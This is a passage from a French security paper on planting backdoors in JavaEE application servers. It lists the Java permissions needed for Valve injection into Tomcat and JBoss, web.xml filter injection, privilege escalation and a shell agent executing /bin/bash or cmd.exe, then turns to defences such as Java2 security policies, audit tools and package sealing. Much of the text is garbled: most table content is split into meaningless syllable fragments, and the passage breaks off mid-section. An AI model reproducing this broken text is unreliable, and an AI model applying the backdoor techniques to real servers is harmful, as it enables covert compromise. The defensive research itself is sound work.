permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

